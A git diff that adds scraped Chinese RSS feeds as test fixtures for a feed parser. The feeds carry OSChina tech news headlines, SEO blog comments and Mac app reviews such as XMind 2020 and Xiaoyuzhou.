https://mp.weixin.qq.com/s?__biz=MjM5NzM0MjcyMQ==&mid=2650091036&idx=2&sn=ca3503a6fa9914574901d4da11b9cde4&chksm=bedaf57289ad7c6485d5c8330e244f9a7891141733ce7d13b3f3be235a5281c3ecfc2e53c311&token=1682840778&lang=zh_CN#rd + 综合新闻 + + Fri, 03 Apr 2020 08:32:29 +0800 + https://mp.weixin.qq.com/s?__biz=MjM5NzM0MjcyMQ==&mid=2650091036&idx=2&sn=ca3503a6fa9914574901d4da11b9cde4&chksm=bedaf57289ad7c6485d5c8330e244f9a7891141733ce7d13b3f3be235a5281c3ecfc2e53c311&token=1682840778&lang=zh_CN#rd + + + Microsoft Edge 浏览器市场份额超过 Firefox + https://www.oschina.net/news/114597/netmarketshare-mar + 综合新闻 + + Fri, 03 Apr 2020 08:27:11 +0800 + https://www.oschina.net/news/114597/netmarketshare-mar + + + Cloudflare 推家庭 1.1.1.1 公共 DNS,阻止恶意软件和成人内容 + https://www.oschina.net/news/114596/cloudflare-1-1-1-1-for-families + 综合新闻 + + Fri, 03 Apr 2020 08:26:53 +0800 + https://www.oschina.net/news/114596/cloudflare-1-1-1-1-for-families + + + Mozilla 开源支持计划发起 COVID-19 解决方案基金 + https://www.oschina.net/news/114594/moss-launches-covid-19-solutions-fund + 综合新闻 + + Fri, 03 Apr 2020 08:20:50 +0800 + https://www.oschina.net/news/114594/moss-launches-covid-19-solutions-fund + + + 每日一博 | Java 中的屠龙之术——如何修改语法树 + https://my.oschina.net/u/4030990/blog/3211858 + 综合新闻 + + Fri, 03 Apr 2020 08:20:21 +0800 + https://my.oschina.net/u/4030990/blog/3211858 + + + vue-form-making —— 可视化表单设计器 + https://www.oschina.net/p/vue-form-making + 综合新闻 + + Fri, 03 Apr 2020 08:18:17 +0800 + https://www.oschina.net/p/vue-form-making + + + 码云推荐 | 精美的跨平台数据可视化图表框架 AAInfographics + https://gitee.com/ShiMeGuiA/AAChartKit-Swift + 综合新闻 + + Fri, 03 Apr 2020 07:38:24 +0800 + https://gitee.com/ShiMeGuiA/AAChartKit-Swift + + + Fedora 33 计划使用 OpenJDK 11 作为默认 Java 版本 + https://www.oschina.net/news/114567/fedora-33-openjdk-11-default + 综合新闻 + + Thu, 02 Apr 2020 08:18:44 +0800 + https://www.oschina.net/news/114567/fedora-33-openjdk-11-default + + + Linux Mint 20 新消息:代号 “Ulyana”,仅支持 64 位系统 + https://www.oschina.net/news/114566/linux-mint-20-release-features + 综合新闻 + + Thu, 02 Apr 2020 08:17:10 +0800 + https://www.oschina.net/news/114566/linux-mint-20-release-features + + + 微软推迟淘汰 TLS 1.0 和 1.1 的时间 + https://www.oschina.net/news/114565/ms-postpones-tls-1-0-n-1-1-retirement + 综合新闻 + + Thu, 02 Apr 2020 08:16:19 +0800 + https://www.oschina.net/news/114565/ms-postpones-tls-1-0-n-1-1-retirement + + + 麻省理工开发用于新冠病毒患者的低成本开源呼吸机 + https://www.oschina.net/news/114564/mit-e-vent-open-source-ventilators + 综合新闻 + + Thu, 02 Apr 2020 08:15:14 +0800 + https://www.oschina.net/news/114564/mit-e-vent-open-source-ventilators + + + 每日一博 | Spring 和 Spring Boot 之间到底有啥区别? + https://my.oschina.net/lixingsikao/blog/3213618 + 综合新闻 + + Thu, 02 Apr 2020 08:12:54 +0800 + https://my.oschina.net/lixingsikao/blog/3213618 + + + x-easypdf —— 简单易用的 pdf 构建工具 + https://www.oschina.net/p/x-easypdf + 综合新闻 + + Thu, 02 Apr 2020 08:10:33 +0800 + https://www.oschina.net/p/x-easypdf + + + 码云推荐 | 可快速进行内网穿透的跨平台代理工具 FastTunnel + https://gitee.com/Hgui/FastTunnel + 综合新闻 + + Thu, 02 Apr 2020 08:09:02 +0800 + https://gitee.com/Hgui/FastTunnel + + + UKUI 登陆 openEuler 社区,国内首个桌面环境 SIG 上线! + https://www.oschina.net/news/114542/ukui-in-openeuler + 综合新闻 + + Wed, 01 Apr 2020 11:13:32 +0800 + https://www.oschina.net/news/114542/ukui-in-openeuler + + + 高手问答第 242 期 —— 该怎样踏入机器学习的世界? + https://www.oschina.net/question/4105562_2315636 + 综合新闻 + + Wed, 01 Apr 2020 08:51:57 +0800 + https://www.oschina.net/question/4105562_2315636 + + + 微软恢复 Edge 浏览器更新,Edge 81 稳定版即将推出 + https://www.oschina.net/news/114534/microsoft-resumes-edge-updates + 综合新闻 + + Wed, 01 Apr 2020 08:36:29 +0800 + https://www.oschina.net/news/114534/microsoft-resumes-edge-updates + + + Android 端 Firefox Beta 已开始迁移至 Fenix,并将逐步被取代 + https://www.oschina.net/news/114533/mozilla-begins-bringing-fenix-to-firefox-beta + 综合新闻 + + Wed, 01 Apr 2020 08:23:24 +0800 + https://www.oschina.net/news/114533/mozilla-begins-bringing-fenix-to-firefox-beta + + + Swift 将增加对 Windows 和其他 Linux 发行版的支持 + https://www.oschina.net/news/114532/official-swift-programming-for-windows + 综合新闻 + + Wed, 01 Apr 2020 08:20:07 +0800 + https://www.oschina.net/news/114532/official-swift-programming-for-windows + + + OBS Studio —— 实时流媒体和屏幕录制软件 + https://www.oschina.net/p/obs-studio + 综合新闻 + + Wed, 01 Apr 2020 08:17:27 +0800 + https://www.oschina.net/p/obs-studio + + + 每日一博 | 如何通过 OIDC 协议实现单点登录? + https://my.oschina.net/authing/blog/3212301 + 综合新闻 + + Wed, 01 Apr 2020 08:06:01 +0800 + https://my.oschina.net/authing/blog/3212301 + + + 小米开源 Redmi K30 Pro 内核源码 + https://www.oschina.net/news/114529/xiaomi-redmi-k30-pro-kernel-source-code + 综合新闻 + + Wed, 01 Apr 2020 08:03:01 +0800 + https://www.oschina.net/news/114529/xiaomi-redmi-k30-pro-kernel-source-code + + + 码云推荐 | 好用小巧、功能全面的汉字拼音笔画 js 库 cnchar + https://gitee.com/theajack/cnchar + 综合新闻 + + Wed, 01 Apr 2020 07:51:02 +0800 + https://gitee.com/theajack/cnchar + + + Gitee 全站最「渣」仓库,进来就知道是真的渣 + https://gitee.com/gitee-frontend/page-animation + 综合新闻 + + Wed, 01 Apr 2020 00:17:42 +0800 + https://gitee.com/gitee-frontend/page-animation + + + 「OSCHINA 开源软件趋势榜」即将上线,等你来揭榜 + https://www.oschina.net/question/2918182_2315610 + 综合新闻 + + Tue, 31 Mar 2020 08:42:30 +0800 + https://www.oschina.net/question/2918182_2315610 + + + 什么是 ALC (Apache Local Community) Beijing? + https://www.oschina.net/news/114500/what-is-alc + 综合新闻 + + Tue, 31 Mar 2020 08:40:50 +0800 + https://www.oschina.net/news/114500/what-is-alc + + + 新版 Microsoft Edge 将带来垂直标签和密码监视器 + https://www.oschina.net/news/114498/new-microsoft-edge-vertical-tabs + 综合新闻 + + Tue, 31 Mar 2020 08:24:54 +0800 + https://www.oschina.net/news/114498/new-microsoft-edge-vertical-tabs + + + Ubuntu 20.04 LTS 已引入 PHP 7.4 + https://www.oschina.net/news/114497/php-7-4-lands-ubuntu-20-04 + 综合新闻 + + Tue, 31 Mar 2020 07:56:20 +0800 + https://www.oschina.net/news/114497/php-7-4-lands-ubuntu-20-04 + + + 谷歌取消今年愚人节恶作剧 + https://www.oschina.net/news/114496/google-cancels-april-fools-jokes-2020-covid19 + 综合新闻 + + Tue, 31 Mar 2020 07:55:12 +0800 + https://www.oschina.net/news/114496/google-cancels-april-fools-jokes-2020-covid19 + + + Mozilla 表示不会延迟 Firefox 的发布 + https://www.oschina.net/news/114495/mozilla-firefox-schedule-update + 综合新闻 + + Tue, 31 Mar 2020 07:52:55 +0800 + https://www.oschina.net/news/114495/mozilla-firefox-schedule-update + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/https-www-seozac-com-comments-feed.xml b/tests/feedlib/testdata/parser/warn/https-www-seozac-com-comments-feed.xml new file mode 100644 index 0000000..b1e65e5 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-seozac-com-comments-feed.xml @@ -0,0 +1,139 @@ + + + + Comments for SEO每天一贴 + + https://www.seozac.com + Zac的SEO博客,坚持13年,优化成为生活。唯一排名始终坚挺在百度、谷歌首页的网站。需要SEO服务、顾问和培训的公司欢迎找我。 + Thu, 02 Apr 2020 05:34:28 +0000 + + hourly + + 1 + https://wordpress.org/?v=5.3.2 + + + Comment on Answer for 请问display:none是否被搜索引擎认为作弊? by 王稳庄 + https://www.seozac.com/dwqa-answer/answer-for-%e8%af%b7%e9%97%aedisplaynone%e6%98%af%e5%90%a6%e8%a2%ab%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e%e8%ae%a4%e4%b8%ba%e4%bd%9c%e5%bc%8a%ef%bc%9f/#comment-646555 + + Thu, 02 Apr 2020 05:34:28 +0000 + https://www.seozac.com/dwqa-answer/answer-for-%e8%af%b7%e9%97%aedisplaynone%e6%98%af%e5%90%a6%e8%a2%ab%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e%e8%ae%a4%e4%b8%ba%e4%bd%9c%e5%bc%8a%ef%bc%9f/#comment-646555 + + 天津缘源劳务派遣有限公司是2019年成立的一家人力资源服务机构。从事劳务派遣、劳务外包、人力资源服务外包、企业临时用工、人事代理以及包含人力资源业务相关其他领域的专业机构,凭借高信誉的团队和高标准的服务,满足了企业需求。扎实的工作业绩使之快速成长,并成为具有一定派遣实力的公司。www.tjlwgs.com

    +]]>
    +
    + + + Comment on 请问display:none是否被搜索引擎认为作弊? by 西青 + https://www.seozac.com/questions/display-none-content/#comment-646554 + + Thu, 02 Apr 2020 05:34:05 +0000 + https://www.seozac.com/?post_type=dwqa-question&p=4490#comment-646554 + + 天津市华联矿山仪器厂是中国地质机械仪器工业总公司,武汉地质选 矿设备联营开发公司八个主要生产厂家之一。www.hlksyq.com

    +]]>
    +
    + + + Comment on 什么样的页面才是高质量的? by zizza + https://www.seozac.com/content/high-quality-content/#comment-641894 + + Thu, 12 Mar 2020 02:59:28 +0000 + https://www.seozac.com/?p=3864#comment-641894 + + 我们这样的的隐私条例和法律声明还不错吧。
    +https://rychaldecarne.cn/zh/content/legal-notice
    +https://rychaldecarne.cn/zh/content/privacy-policy

    +]]>
    +
    + + + Comment on 《SEO实战密码》 by 晴空网络 + https://www.seozac.com/seobook/#comment-639874 + + Fri, 06 Mar 2020 14:00:53 +0000 + http://www.chinamyhosting.com/seoblog/#comment-639874 + + 我是来感谢您的,看了您的《SEO实战密码》这本书(第三版),让我这个SEO小白,也会了一些SEO知识,并用在了自己的网站上,修改了一些网站的架构,添加了一些链接,对内对外都有,还仔细修改两次主页和内页title和关键词,虽然还是有好多地方又发现了问题,但已经让我收获很多,以前好多数据都为零,现在好多出现了个位数和两位数,虽然网站现在访问量还是基本为零,而且我才只看了一遍书,太高兴了,我决定再看一遍,也继续完善我的网站的SEO漏洞,让网站越来越好。
    +也是相信您说的,为自己做SEO最有利,卖服务器我没有强大的资金投入广告,因此我在今年二月封闭在家这段时间看了您这本书,决定靠自己把这个卖服务器的小网站支撑起来。
    +再次感谢!!!

    +]]>
    +
    + + + Comment on 百度SEO与熊掌号:从站到号的转变 by 全自动吸塑机 + https://www.seozac.com/baidu/site-to-bear-paw/#comment-639300 + + Wed, 04 Mar 2020 06:21:20 +0000 + https://www.seozac.com/?p=3824#comment-639300 + + 一个人只能注册一个 不知道其它的怎么解决

    +]]>
    +
    + + + Comment on Tag标签页面如何优化? by 全自动吸塑机 + https://www.seozac.com/seo-tips/how-to-optimize-tag-page/#comment-639299 + + Wed, 04 Mar 2020 06:19:26 +0000 + https://www.seozac.com/?p=5229#comment-639299 + + 读完大佬的文章,对tag标签有了更多的了解

    +]]>
    +
    + + + Comment on 移动端网站SEO优化该怎样做? by 幸福赚 + https://www.seozac.com/mobile-seo/mobile-seo-3-ways/#comment-638514 + + Sat, 29 Feb 2020 03:35:56 +0000 + https://www.seozac.com/?p=5523#comment-638514 + + 我的就是自适应的

    +]]>
    +
    + + + Comment on 简单是种美 by 晴空网络 + https://www.seozac.com/operation/kiss-design/#comment-637995 + + Wed, 26 Feb 2020 13:25:17 +0000 + http://www.chinamyhosting.com/seoblog/2008/01/29/kiss-design/#comment-637995 + + 简单直接是最好的,少给客户设置门槛,发现一些云主机商家的平台也是,购买入口对于新手来说太难找了。

    +]]>
    +
    + + + Comment on nofollow标签的作用有重大变化 by 六六社 + https://www.seozac.com/seo-tips/nofollow-as-hint/#comment-637894 + + Tue, 25 Feb 2020 15:37:37 +0000 + https://www.seozac.com/?p=5714#comment-637894 + + 请问一下博主,nofollow 插入之后会阻止蜘蛛爬行吗?

    +]]>
    +
    + + + Comment on nofollow标签的作用有重大变化 by 工控机 + https://www.seozac.com/seo-tips/nofollow-as-hint/#comment-637681 + + Mon, 24 Feb 2020 05:19:17 +0000 + https://www.seozac.com/?p=5714#comment-637681 + + 企业站引擎优化排名越来越难做了,引擎自家产品占屏比种太大了。

    +]]>
    +
    +
    +
    diff --git a/tests/feedlib/testdata/parser/warn/https-www-waerfa-com-feed.xml b/tests/feedlib/testdata/parser/warn/https-www-waerfa-com-feed.xml new file mode 100644 index 0000000..7a05005 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-www-waerfa-com-feed.xml @@ -0,0 +1,7594 @@ + + + + Mac玩儿法 + + https://www.waerfa.com + + Sat, 04 Apr 2020 18:00:28 +0000 + zh-CN + hourly + 1 + https://wordpress.org/?v=5.0.8 + + + https://www.waerfa.com/wp-content/uploads/2016/08/cropped-logo-2-32x32.png + Mac玩儿法 + https://www.waerfa.com + 32 + 32 + + + Recheck! 快速检查待办/任务的清单 APP + https://www.waerfa.com/recheck + https://www.waerfa.com/recheck#respond + Sat, 04 Apr 2020 17:58:20 +0000 + + + + + https://www.waerfa.com/?p=106919 + + Recheck! 我的清单是一款设计新颖的待办清单类 app,其主打特色功能是丰富的待办清单模板以及快速 check 已完成任务的设计。

    + +

    Recheck! 我的清单按照不同场合的需求设计了对应待办清单,方便用户直接拿来就用,比如下图的「精神病院入院原因清单」、「2020年节日清单」、「泰国亲子游行李清单」等等,帮助懒人们快速建立一个参考清单。

    + +

    打开 Recheck,系统就会为你推送许多清单模板,你可以将重要的清单置顶。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图

    + +

    在新建一个空的清单时,可以点击界面空白处添加待办任务(后面简称任务)或者直接选择模板;新建清单里的任务直接点击右下角的「+」按钮新建任务(点击新建任务 toolbar 最左侧小按钮可以切换到“新任务组名称”,也就是可以在清单里为任务分组);如果是长按「+」按钮可触发语音交互式新建任务。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图(1)

    + +

    每个清单都可以标记 tag,然后在向右滑触发隐藏菜单里管理这些 tag(下图右一),在清单界面左下角「数字按钮」轻点可以按顺序完成一个接一个的任务,长按「数字按钮」可以重新开始清单。

    + +

    点击清单名称右侧的省略号按钮可以触发更多操作的菜单,可以选择:

    + +
      +
    • 重新检查任务
    • +
    • 设置清单检查提醒
    • +
    • 分享/导出清单
    • +
    • 粘贴其他任务到此清单
    • +
    • 朗读清单
    • +
    • 搜索(手势向下拉列表也可)
    • +
    • 设置清单具体信息
    • +
    • 批量操作
    • +
    • 删除清单
    • +
    + +

    Recheck! 快速检查待办/任务的清单 APP插图(2)

    + +

    比如分享/导出功能里支持将清单导出成:图片、纯文本、网页、PDF 以及通过 URL Scheme 导出到其他 app;清单设置里可以选择清单里元素主题色、更换清单的图标、设置 Siri Shortcut、选择朗读清单的语言,显示清单内任务数量、已完成任务数量,使用时间等。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图(3)

    + +

    对于清单里某个任务,你可以对其进行:移动到其他清单、移动到其他任务组、在其上方创建任务、复制成纯文本、启动成番茄钟、变成任务组、上传附件,对任务名添加内置 emoji 等。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图(4)

    + +

    长按清单列表左下角的「数字按钮」可以选择提前完成清单,任务竟然还能在其下面再新建子任务。。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图(5)

    + +

    一个良好的生活、工作习惯的养成,可能需要你对你的清单在某个周期内进行反复执行,所以 Recheck 提供了清单检查的提醒功能。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图(6)

    + +

    清单标签页可以选择图标或者重新排列,Recheck 内置了四种主题配色,两个深色,两个浅色。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图(7)

    + +

    清单导出成图片形式的 demo

    + +

    Recheck! 我的清单目前在 App Store 可直接下载。

    + +

    Recheck! 快速检查待办/任务的清单 APP插图(8)

    +

    本文发表自Mac玩儿法,转载请注明转自《Recheck! 快速检查待办/任务的清单 APP

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/recheck/feed + 0 +
    + + 超控 Controlax:一键打开常用 APP、文件夹、文件、网址和快捷键的必备软件 + https://www.waerfa.com/controlax-review + https://www.waerfa.com/controlax-review#respond + Fri, 03 Apr 2020 19:23:30 +0000 + + + + + + + https://www.waerfa.com/?p=106911 + + 超控 Controlax 是一款提升 Mac 效率的软件,可以让你一键打开常用 APP、文件夹、文件、网址和快捷键的必备应用。

    + +

    超控 Controlax:一键打开常用 APP、文件夹、文件、网址和快捷键的必备软件插图

    + +

    在日常工作中,总有很多文件、文件夹、网站、程序或 APP 要不断反复打开,例如我们要频繁打开公司最近项目的文件夹、这个月相关的工作文件、周期性报表、一些系统网站、邮箱和各类社交、办公软件等等,除此之外 Mac 系统复杂的快捷键也是非常难记的。

    + +

    通过超控 Controlax 可以把文件、文件夹、键盘快捷键、应用、常用网站链接设置成1个快捷按钮。

    + +

    超控 Controlax:一键打开常用 APP、文件夹、文件、网址和快捷键的必备软件插图(1)

    + +

    通过唤出浮窗,就可以一键取代一系列复杂操作。甚至还可以把这些快捷按钮定义成全局的快捷键,不需要显示浮窗,直接响应,大大提升你的办公效率。

    + +

    除了支持自定义的配置,超控 Controlax 还预置了很多系统级的常用配置,包括一键锁屏、任务管理器、窗口和程序切换、音量和亮度控制、最大化、剪贴板搜索等。

    + +

    超控 Controlax:一键打开常用 APP、文件夹、文件、网址和快捷键的必备软件插图(2)

    + +

    举例几个简单的使用场景:

    + +
      +
    • 场景1.在聊天软件、Office 办公软件、文件夹中快速来回切换
    • +
    • 场景2.在做报表的时候,需要数据,一键打开系统后台查看统计数据。
    • +
    • 场景3.在编写文档时,想起要报销,一键打开公司文件夹里的报销报表。
    • +
    • 场景4.经常忘记 Mac 的快捷键(如截屏、显示桌面等),直接设成一个按钮。
    • +
    + +

    结合自己的使用习惯做简单的配置即可快速提升效率,一旦用惯了就回不去了。

    + +

    本次介绍我们收到了开发者的大力支持,为各位同学免费提供了 20 个超控 Controlax 在 Mac App Store 的兑换码,这款软件的价格是 60 元人民币。获取兑换码需要做一个小任务,在微信公众号、Bilibili、微博三个平台(ID 均为 Mac玩儿法)同时关注我们后,请通过发送邮件到 waerfa@gmail.com,告诉我们您在三个平台关注我们的 ID 名称即可。

    + +

    超控 Controlax:一键打开常用 APP、文件夹、文件、网址和快捷键的必备软件插图(3)

    +

    本文发表自Mac玩儿法,转载请注明转自《超控 Controlax:一键打开常用 APP、文件夹、文件、网址和快捷键的必备软件

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/controlax-review/feed + 0 +
    + + Grammarly:写一篇正宗口味的英文文章全靠它了 + https://www.bilibili.com/video/BV1We411x7VA/ + https://www.bilibili.com/video/BV1We411x7VA/#respond + Fri, 03 Apr 2020 10:01:09 +0000 + + + + + + + https://www.waerfa.com/?p=106908 + + Grammarly:写一篇正宗口味的英文文章全靠它了插图

    + +

    Up主花费许多心思制作的新一期视频,虽然介绍的不是新品,但是Grammarly这款英语语法校对工具真的是效率利器,能帮大伙儿明显提升英语写作能力。

    +

    本文发表自Mac玩儿法,转载请注明转自《Grammarly:写一篇正宗口味的英文文章全靠它了

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.bilibili.com/video/BV1We411x7VA/feed + 0 +
    + + 四月满额赠送好礼·优秀软件免费体验 + https://www.waerfa.com/april-giveaway + https://www.waerfa.com/april-giveaway#respond + Thu, 02 Apr 2020 09:40:58 +0000 + + + + https://www.waerfa.com/?p=106906 + + 四月满额赠送好礼·优秀软件免费体验插图

    + +

    我们的老朋友,专注于正版软件销售、推广的数码荔枝在本月已经上线最新优惠活动:全场满额赠好礼

    + + + +

    单笔订单只可享受一次赠品,如果您想获赠多份,可以分多次下单,这样比较合适。

    + +

    除了目前已在促销的 WPS 会员,体验期间购买其余三款赠品软件的完整版,还有 9 折优惠。

    + +

    活动时间:2020年4月1日~2020年4月30日

    + +
    全场满额赠好礼
    +

    本文发表自Mac玩儿法,转载请注明转自《四月满额赠送好礼·优秀软件免费体验

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/april-giveaway/feed + 0 +
    + + 小宇宙:一款懂你的播客客户端 + https://www.waerfa.com/xiaoyuzhou-podcasts + https://www.waerfa.com/xiaoyuzhou-podcasts#comments + Mon, 30 Mar 2020 12:44:41 +0000 + + + + + + https://www.waerfa.com/?p=106893 + + 小宇宙「下载」是一款由即刻团队打造的新型播客客户端,目前正在公测阶段,凭邀请码即刻使用(文末有惊喜)。

    + +

    对于一款播客客户端,大家应该都有自己的选择,怎么使用都是大体相似,但是,小宇宙这款客户端给我眼前一亮的感觉,因为它可以这样:

    + +
      +
    • 通过 RSS 链接来订阅节目
    • +
    • 极强的搜索能力,可搜索单期节目,也可以搜索节目,甚至连 Show notes,里面的内容都可以当做关键词被搜到
    • +
    • 节目 Show notes 内置 magi/互动百科搜索
    • +
    • 对任意播放节点进行不限次数的点赞
    • +
    + +

    小宇宙:一款懂你的播客客户端插图

    + +

    但最有趣的是在众多播客客户端里,小宇宙还提供了对节目进行评论的功能,而且加入了轻社交模块,可以关注其他播友,看看其他人正在听哪些节目。

    + +

    小宇宙的搜索能力非常强大,你可以用关键词搜索单集,也可以搜索节目,甚至是用户。

    + +

    小宇宙:一款懂你的播客客户端插图(1)

    + +

    小宇宙的频道设计很简单,除了个人界面就是「发现」和「我的播客」,「发现」频道会为你推送优秀的中文播客节目,按照 timeline 逆序推送,我在打开小宇宙后突然觉得优质中文播客竟然这么丰富,看来苹果自带的 Podcasts.app 推荐的播客资源太过陈旧。订阅的播客更新的新节目会出现在「我的播客」列表里。

    + +

    小宇宙的播放界面很好理解,带倍速播放,睡眠定时,可以对节目进度栏里某个时间标记点发布自己的评论或者与其他播友互动聊天。

    + +

    小宇宙:一款懂你的播客客户端插图(2)

    + +

    但最让我觉得有意思的是你可以就节目中某个讨论热烈,有趣,吸引人的段落进行点赞(快进30秒按钮的右侧),而且点赞次数不限,如果你觉得那个段落说的好,可以不听的点赞,点的次数越多,在进度栏对应的柱子涨越高,这样可以让其他用户看到这期节目精彩之处,然后直接跳到播放点提前收听。

    + +

    小宇宙:一款懂你的播客客户端插图(3)

    + +

    小宇宙同样支持从 Apple Podcasts、OvercastPocket CastsCastro 等支持导出 OPML 文件的播客客户端导入其订阅数据,而且给出了详细的使用教程页面。

    + +

    小宇宙:一款懂你的播客客户端插图(4)

    + +

    另外这款客户端在可以在 Shownotes 选择文本后激活隐藏菜单,可以复制,更可以调用 magi、互动百科对内容进行进一步学习了解。

    + +

    小宇宙:一款懂你的播客客户端插图(5)

    + +

    小宇宙还有一个让我心水的功能,轻社交模块,你可以关注其他与你有相同品味的播友,看看他们订阅的节目和关注的人。

    + +

    小宇宙:一款懂你的播客客户端插图(6)

    + +

    目前Mac玩儿法联合小宇宙为大家准备了小宇宙app邀请码,一共有 50 次兑换次数,请大家珍惜兑换机会,不要浪费。希望进入小宇宙的童鞋在使用后能多给小宇宙的开发团队提意见,一起帮他们把小宇宙打造成一款强大的播客客户端。

    + +

    小宇宙:一款懂你的播客客户端插图(7)

    +

    本文发表自Mac玩儿法,转载请注明转自《小宇宙:一款懂你的播客客户端

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/xiaoyuzhou-podcasts/feed + 1 +
    + + XMind 2020:新名字,新招式 + https://www.waerfa.com/xmind-2020-review + https://www.waerfa.com/xmind-2020-review#respond + Sun, 29 Mar 2020 01:41:50 +0000 + + + + + + + https://www.waerfa.com/?p=106881 + + 在去年年初的时候我们发过对思维导图(脑图)软件 XMind ZEN 的文章,今年 3 月 XMind ZEN 发布了最新版本 2020,并把名字改为了 XMind 2020,不过这个名字很容易和带传统版本号的  XMind 8 混淆。XMind 2020 做了大幅度更新,增加了大纲视图和图片导出,更新了界面与风格编辑器。

    + +

    购买特惠版 XMind 2020

    + +

    如果你不知道怎么开始创建一个适合自己的思维导图,可以在新建页面,或是图库(脑图案例)直接创建一个学习参考一下,就像下图演示一样:

    + +

    XMind 2020:新名字,新招式插图

    + +

    全新界面

    + +

    XMind 2020:新名字,新招式插图(1)

    + +

    2020 版对思维导图里的「结构」、「形状」、「结构」的种类进行了更新,默认就有鱼鳞状的结构供你选择。另外界面字体变得更粗,与 macOS 整体风格更加搭调。

    + +

    新增大纲视图

    + +

    XMind 2020:新名字,新招式插图(2)

    + +

    当你编辑完成脑图后,点击顶部工具栏左侧的「大纲」可以将脑图变成一个大纲视图来浏览。

    + +

    XMind 2020:新名字,新招式插图(3)

    + +

    也可以在脑图/大纲的视图里加入笔记(备忘)内容,支持基础的样式定义。

    + +

    新成员:方程式

    + +

    XMind 2020:新名字,新招式插图(4)

    + +

    通过使用 MathJax 开源库,来实现用户输入 LaTex 数学命令,实时转化为数学公式。

    + +

    官网提供了许多常用的 LaTex 数学公式插入方法,左侧是输入的字符,右侧是显示的符号。具体可以看官网的技术支持

    + +

    XMind 2020:新名字,新招式插图(5)

    + +

    官博样图:

    + +

    XMind 2020:新名字,新招式插图(6)

    + +

    全新的 ZEN 模式

    + +

    XMind 2020:新名字,新招式插图(7)

    + +

    2020 的 ZEN 模式并没有因为软件的更名而被忽视,相反,它的功能更加强大:

    + +
      +
    1. 新增格式和图标面板:支持图标插入和样式修改并开放了所有元素的右键菜单,让你在 ZEN 模式下不再有编辑操作上的限制。
    2. +
    3. 新增快捷键说明:快捷键说明在细节处体现了 ZEN 模式操作上的易用和友好,让新手也能尽享 ZEN 模式下的专注和高效。
    4. +
    5. 快捷唤出搜索面板:快捷键即可唤出搜索面板,快速查找和替换内容,极大增强了 ZEN 模式的查看功能。
    6. +
    + +
    XMind 2020:新名字,新招式插图(8)
    今日专注时间统计
    + +

    支持导入 Word

    + +

    新版可以向脑图里插入 Word 文档并可以随时打开浏览(调用外部文件)。

    + +

    增强图片导出

    + +

    2020 版在原有的 PNG 图片导出脑图基础上,可以允许同时导出所有画布,选择更大的尺寸以及导出透明背景,让你轻松插入至 Keynote 或 PPT 中使用。

    + +

    XMind 2020:新名字,新招式插图(9)

    + +

    优化风格编辑器

    + +

    风格编辑器新增快速样式风格自定义,扩充了风格的自定义范畴,在整体使用上更随心所欲。快速样式让你快速地对导图进行重点的标记,更可根据个人喜好对样式赋予意义,比如优先级、删去等。

    + +

    XMind 2020:新名字,新招式插图(10)

    + +

    其他细节

    + +
      +
    • 导出 PDF 优化:我们在新版本中优化了 PDF 的导出效果,优化了整体导出的页面呈现。
    • +
    • 删除单个主题:现支持删除当前主题并保留相应的子主题,选中主题右键菜单即可唤出该功能,或者快捷键 Ctrl + Delete/Command+Delete 快速删除。
    • +
    • 启动界面新增最近打开:在启动界面新增了「最近打开」按钮,可以快速打开最近编辑过的文件,更方便快捷 。
    • +
    • 新增支持 7 门语言:除了原先支持的中、英、德、法、日外,新增支持 7 门语言,在国际化道路上又迈进一步。
    • +
    + +

    购买特惠版 XMind 2020

    +

    本文发表自Mac玩儿法,转载请注明转自《XMind 2020:新名字,新招式

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/xmind-2020-review/feed + 0 +
